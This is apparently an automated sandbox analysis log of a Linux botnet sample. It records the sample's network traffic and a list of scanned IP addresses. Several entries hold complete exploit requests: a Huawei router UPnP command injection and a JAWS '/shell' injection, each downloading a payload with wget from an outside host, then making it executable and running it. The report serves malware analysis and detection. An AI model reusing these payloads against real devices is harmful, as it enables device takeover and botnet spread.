Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/9zldYT23H2.elf (PID: 5530)

Socket: 127.0.0.1:46157

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 144.113.203.170
Source: unknown	TCP traffic detected without corresponding DNS query: 177.241.76.238
Source: unknown	TCP traffic detected without corresponding DNS query: 43.102.170.193
Source: unknown	TCP traffic detected without corresponding DNS query: 82.45.209.48
Source: unknown	TCP traffic detected without corresponding DNS query: 200.71.163.110
Source: unknown	TCP traffic detected without corresponding DNS query: 38.76.53.229
Source: unknown	TCP traffic detected without corresponding DNS query: 69.224.179.9
Source: unknown	TCP traffic detected without corresponding DNS query: 156.185.168.182
Source: unknown	TCP traffic detected without corresponding DNS query: 82.62.68.31
Source: unknown	TCP traffic detected without corresponding DNS query: 98.213.214.178
Source: unknown	TCP traffic detected without corresponding DNS query: 111.150.9.248
Source: unknown	TCP traffic detected without corresponding DNS query: 52.133.6.178
Source: unknown	TCP traffic detected without corresponding DNS query: 76.152.50.5
Source: unknown	TCP traffic detected without corresponding DNS query: 39.117.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 88.241.38.195
Source: unknown	TCP traffic detected without corresponding DNS query: 48.222.29.178
Source: unknown	TCP traffic detected without corresponding DNS query: 202.138.146.13
Source: unknown	TCP traffic detected without corresponding DNS query: 164.55.11.160
Source: unknown	TCP traffic detected without corresponding DNS query: 94.45.60.43
Source: unknown	TCP traffic detected without corresponding DNS query: 121.57.192.209
Source: unknown	TCP traffic detected without corresponding DNS query: 158.211.181.85
Source: unknown	TCP traffic detected without corresponding DNS query: 88.245.74.61
Source: unknown	TCP traffic detected without corresponding DNS query: 181.213.69.98
Source: unknown	TCP traffic detected without corresponding DNS query: 166.37.149.4
Source: unknown	TCP traffic detected without corresponding DNS query: 8.130.124.168
Source: unknown	TCP traffic detected without corresponding DNS query: 82.37.3.139
Source: unknown	TCP traffic detected without corresponding DNS query: 86.204.191.194
Source: unknown	TCP traffic detected without corresponding DNS query: 150.65.175.239
Source: unknown	TCP traffic detected without corresponding DNS query: 74.60.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 96.190.151.176
Source: unknown	TCP traffic detected without corresponding DNS query: 82.238.238.207
Source: unknown	TCP traffic detected without corresponding DNS query: 160.21.205.152
Source: unknown	TCP traffic detected without corresponding DNS query: 152.211.72.195
Source: unknown	TCP traffic detected without corresponding DNS query: 88.162.169.225
Source: unknown	TCP traffic detected without corresponding DNS query: 156.162.252.0
Source: unknown	TCP traffic detected without corresponding DNS query: 96.42.30.36
Source: unknown	TCP traffic detected without corresponding DNS query: 39.86.191.110
Source: unknown	TCP traffic detected without corresponding DNS query: 39.104.152.36
Source: unknown	TCP traffic detected without corresponding DNS query: 43.118.115.1
Source: unknown	TCP traffic detected without corresponding DNS query: 152.23.242.18
Source: unknown	TCP traffic detected without corresponding DNS query: 77.32.42.70
Source: unknown	TCP traffic detected without corresponding DNS query: 163.101.36.245
Source: unknown	TCP traffic detected without corresponding DNS query: 19.16.222.129
Source: unknown	TCP traffic detected without corresponding DNS query: 134.102.57.40
Source: unknown	TCP traffic detected without corresponding DNS query: 13.168.222.14
Source: unknown	TCP traffic detected without corresponding DNS query: 54.38.223.158
Source: unknown	TCP traffic detected without corresponding DNS query: 190.242.205.4
Source: unknown	TCP traffic detected without corresponding DNS query: 116.246.203.72
Source: unknown	TCP traffic detected without corresponding DNS query: 111.163.29.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.197.228.153

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+172.236.29.44/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
